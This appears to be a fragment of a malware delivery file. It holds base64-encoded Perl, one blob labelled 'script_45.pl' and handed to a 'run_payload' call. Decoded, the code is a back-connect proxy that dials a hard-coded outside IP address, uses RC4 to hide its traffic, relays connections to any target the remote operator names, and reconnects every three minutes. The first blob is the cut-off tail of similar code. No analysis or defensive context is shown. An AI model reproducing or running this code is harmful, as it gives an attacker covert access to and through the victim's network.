MSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_45.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg3JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLC